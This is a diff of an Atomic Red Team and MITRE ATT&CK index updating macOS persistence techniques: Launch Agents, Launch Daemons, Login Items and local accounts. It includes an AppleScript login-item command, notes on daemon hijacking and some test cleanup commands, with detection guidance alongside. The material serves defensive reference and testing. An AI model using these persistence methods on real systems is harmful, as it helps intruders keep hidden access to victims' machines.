-        source_name: OceanLotus for OS X
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launch Agent
-      description: "Adversaries may create or modify launch agents to repeatedly execute
-        malicious payloads as part of persistence. Per Apple’s developer documentation,
-        when a user logs in, a per-user launchd process is started which loads the
-        parameters for each launch-on-demand user agent from the property list (plist)
-        files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>,
-        and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent
-        Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).
-        These launch agents have property list files which point to the executables
-        that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install
-        a new launch agent that can be configured to execute at login by using launchd
-        or launchctl to load a plist into the appropriate directories  (Citation:
-        Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The
-        agent name may be disguised by using a name from a related operating system
-        or benign software. Launch Agents are created with user level privileges and
-        are executed with the privileges of the user when they log in (Citation: OSX
-        Malware Detection) (Citation: OceanLotus for OS X). They can be set up to
-        execute when a specific user logs in (in the specific user’s directory structure)
-        or when any user logs in (which requires administrator privileges)."
-      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-03-25T22:11:45.513Z'
-      created: '2020-01-17T16:10:58.592Z'
+      name: Launch Agent
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
       - 'Command: Command Execution'
       - 'Service: Service Creation'
       - 'Service: Service Modification'
-      x_mitre_detection: Monitor Launch Agent creation through additional plist files
-        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
-        also require files on disk for persistence which can also be monitored via
-        other file monitoring applications.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_version: '1.3'
+      modified: '2021-11-03T20:11:51.687Z'
+      created: '2020-01-17T16:10:58.592Z'
       x_mitre_permissions_required:
       - Administrator
       - User
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
+      description: "Adversaries may create or modify launch agents to repeatedly execute
+        malicious payloads as part of persistence. When a user logs in, a per-user
+        launchd process is started which loads the parameters for each launch-on-demand
+        user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>,
+        <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:
+        AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation:
+        Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments
+        </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name,
+        executable location, and execution time.(Citation: OSX.Dok Malware) Launch
+        Agents are often installed to perform updates to programs, launch user specified
+        programs at login, or to conduct other developer tasks.\n\n Launch Agents
+        can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001)
+        command.\n \nAdversaries may install a new Launch Agent that executes at login
+        by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code>
+        or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy
+        Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent
+        name may be disguised by using a name from the related operating system or
+        benign software. Launch Agents are created with user level privileges and
+        execute with user level permissions.(Citation: OSX Malware Detection)(Citation:
+        OceanLotus for OS X) "
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: "Monitor Launch Agent creation through additional plist files
+        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
+        also require files on disk for persistence which can also be monitored via
+        other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments
+        </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code>
+        folders are in alignment with enterprise policy. Ensure all Launch Agents
+        with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment
+        with policy. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/001
+        external_id: T1543.001
+        source_name: mitre-attack
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
+      - source_name: Antiquated Mac Malware
+        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
+          code. Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
+      - source_name: OSX.Dok Malware
+        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
+          traffic. Retrieved July 10, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
+      - source_name: Sofacy Komplex Trojan
+        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
+          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
+      - source_name: OceanLotus for OS X
+        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
+          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
+        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
       identifier: T1543.001
     atomic_tests:
     - name: Launch Agent
@@ -15543,64 +15788,10 @@ privilege-escalation:
           sudo rm ~/Library/LaunchAgents/#{plist_filename}
   T1543.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.004
-        url: https://attack.mitre.org/techniques/T1543/004
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
-      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
-        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
-          Retrieved July 10, 2017.'
-        source_name: WireLurker
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launch Daemon
-      description: "Adversaries may create or modify launch daemons to repeatedly
-        execute malicious payloads as part of persistence. Per Apple’s developer documentation,
-        when macOS and OS X boot up, launchd is run to finish system initialization.
-        This process loads the parameters for each launch-on-demand system-level daemon
-        from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code>
-        and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent
-        Daemons). These LaunchDaemons have property list files which point to the
-        executables that will be launched (Citation: Methods of Mac Malware Persistence).
-        \n\nAdversaries may install a new launch daemon that can be configured to
-        execute at startup by using launchd or launchctl to load a plist into the
-        appropriate directories  (Citation: OSX Malware Detection). The daemon name
-        may be disguised by using a name from a related operating system or benign
-        software (Citation: WireLurker). Launch Daemons may be created with administrator
-        privileges, but are executed under root privileges, so an adversary may also
-        use a service to escalate privileges from administrator to root. \n\nThe plist
-        file permissions must be root:wheel, but the script or program that it points
-        to has no such requirement. So, it is possible for poor configurations to
-        allow an adversary to modify a current Launch Daemon’s executable and gain
-        persistence or Privilege Escalation. "
-      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-09-16T15:46:44.130Z'
-      created: '2020-01-17T19:23:15.227Z'
+      name: Launch Daemon
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
@@ -15608,16 +15799,74 @@ privilege-escalation:
       - 'Command: Command Execution'
       - 'Service: Service Creation'
       - 'Service: Service Modification'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - root
+      x_mitre_version: '1.2'
+      modified: '2021-10-07T22:10:55.653Z'
+      created: '2020-01-17T19:23:15.227Z'
       x_mitre_permissions_required:
       - Administrator
-      x_mitre_detection: 'Monitor for launch daemon creation or modification through
-        plist files and utilities such as Objective-See''s KnockKnock application. '
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
+      description: |-
+        Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
+
+        Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
+
+        Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
+      x_mitre_effective_permissions:
+      - root
+      - Administrator
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: |+
+        Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.
+
+        Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)
+
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/004
+        external_id: T1543.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - url: https://www.real-world-systems.com/docs/launchdPlist.1.html
+        description: Dennis German. (2020, November 20). launchd Keywords for plists.
+          Retrieved October 7, 2021.
+        source_name: launchd Keywords for plists
+      - source_name: WireLurker
+        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
+          Retrieved July 10, 2017.'
+        url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
+      - url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/
+        description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege
+          escalation and persistence via insecure folder permissions. Retrieved July
+          26, 2021.'
+        source_name: LaunchDaemon Hijacking
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
       identifier: T1543.004
     atomic_tests:
     - name: Launch Daemon
@@ -15661,28 +15910,18 @@ privilege-escalation:
           sudo rm /Library/LaunchDaemons/#{plist_filename}
   T1053.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.004
-        url: https://attack.mitre.org/techniques/T1053/004
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launchd
-      description: |-
-        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
-
-        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
-      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
       type: attack-pattern
+      name: Launchd
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-07T21:38:03.610Z'
+      created: '2019-12-03T14:15:27.452Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -15690,13 +15929,33 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:41:14.739Z'
-      created: '2019-12-03T14:15:27.452Z'
-      x_mitre_version: '1.0'
+      x_mitre_deprecated: true
+      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
+      x_mitre_platforms:
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - root
+      description: "This technique is deprecated due to the inaccurate usage. The
+        report cited did not provide technical detail as to how the malware interacted
+        directly with launchd rather than going through known services. Other system
+        services are used to interact with launchd rather than launchd being used
+        by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform
+        task scheduling for initial or recurring execution of malicious code. The
+        <code>launchd</code> daemon, native to macOS, is responsible for loading and
+        maintaining services within the operating system. This process loads the parameters
+        for each launch-on-demand system-level daemon from the property list (plist)
+        files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code>
+        (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property
+        list files which point to the executables that will be launched (Citation:
+        Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code>
+        daemon in macOS environments to schedule new executables to run at system
+        startup or on a scheduled basis for persistence. <code>launchd</code> can
+        also be abused to run a process under the context of a specified account.
+        Daemons, such as <code>launchd</code>, run with the permissions of the root
+        user account, and will operate regardless of which user account is logged
+        in."
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -15707,13 +15966,19 @@ privilege-escalation:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/004
+        external_id: T1053.004
+        source_name: mitre-attack
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1053.004
     atomic_tests:
     - name: Event Monitor Daemon Persistence
@@ -15746,6 +16011,26 @@ privilege-escalation:
           sudo rm /private/var/db/emondClients/#{empty_file}
   T1078.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Local Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T17:45:48.323Z'
+      created: '2020-03-13T20:26:46.695Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
       description: "Adversaries may obtain and abuse credentials of a local account
         as a means of gaining Initial Access, Persistence, Privilege Escalation, or
@@ -15755,15 +16040,6 @@ privilege-escalation:
         and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
         Password reuse may allow the abuse of local accounts across a set of machines
         on a network for the purposes of Privilege Escalation and Lateral Movement. "
-      name: Local Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.003
-        url: https://attack.mitre.org/techniques/T1078/003
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -15773,25 +16049,15 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-05T12:51:00.663Z'
-      created: '2020-03-13T20:26:46.695Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
       x_mitre_detection: Perform regular audits of local system accounts to detect
         accounts that may have been created by an adversary for persistence. Look
         for suspicious account behavior, such as accounts logged in at odd times or
         outside of business hours.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/003
+        external_id: T1078.003
+        source_name: mitre-attack
       identifier: T1078.003
     atomic_tests:
     - name: Create local account with admin privileges
@@ -15810,24 +16076,124 @@ privilege-escalation:
           net user art-test /delete >nul 2>&1
         name: command_prompt
         elevation_required: true
-  T1037.002:
+  T1547.015:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.002
-        url: https://attack.mitre.org/techniques/T1037/002
-      - url: https://support.apple.com/de-at/HT2420
-        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
-          July 17, 2017.'
-        source_name: creating login hook
-      - source_name: S1 macOs Persistence
-        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
-        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
-          March 27, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Login Items
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-18T16:36:37.042Z'
+      created: '2021-10-05T21:26:15.081Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3
+      description: |-
+        Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.
+
+        Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
+
+        Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: |-
+        All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.
+
+        Otherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)
+
+        Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/015
+        external_id: T1547.015
+        source_name: mitre-attack
+      - url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac
+        description: Apple. (n.d.). Open items automatically when you log in on Mac.
+          Retrieved October 1, 2021.
+        source_name: Open Login Items Apple
+      - source_name: Adding Login Items
+        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
+          11, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
+      - url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/
+        description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified.
+          Retrieved October 5, 2021.
+        source_name: SMLoginItemSetEnabled Schroeder 2013
+      - url: https://developer.apple.com/documentation/coreservices/launch_services
+        description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021.
+        source_name: Launch Services Apple Developer
+      - url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
+        description: 'hoakley. (2018, May 22). Running at startup: when to use a Login
+          Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.'
+        source_name: ELC Running at startup
+      - url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
+        description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.
+        source_name: Login Items AE
+      - url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
+        description: hoakley. (2021, September 16). How to run an app or tool at startup.
+          Retrieved October 5, 2021.
+        source_name: Startup Items Eclectic
+      - url: http://www.hexed.in/2019/07/osxdok-analysis.html
+        description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October
+          4, 2021.
+        source_name: hexed osx.dok analysis 2019
+      - url: https://gist.github.com/kaloprominat/6111584
+        description: 'kaloprominat. (2013, July 30). macos: manage add list remove
+          login items apple script. Retrieved October 5, 2021.'
+        source_name: Add List Remove Login Items Apple Script
+      - source_name: objsee mac malware 2017
+        description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September
+          21, 2018.
+        url: https://objective-see.com/blog/blog_0x25.html
+      - url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
+        description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it
+          wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.
+        source_name: CheckPoint Dok
+      - url: https://objective-see.com/blog/blog_0x44.html
+        description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved
+          October 1, 2021.
+        source_name: objsee netwire backdoor 2019
+      - url: https://objective-see.com/blog/blog_0x31.html
+        description: Patrick Wardle. (2018, July 23). Block Blocking Login Items.
+          Retrieved October 1, 2021.
+        source_name: objsee block blocking login items
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
+      - url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
+        description: Apple. (2018, June 4). Launch Services Keys. Retrieved October
+          5, 2021.
+        source_name: Launch Service Keys Developer Apple
+    atomic_tests: []
+  T1037.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Logon Script (Mac)
+      x_mitre_data_sources:
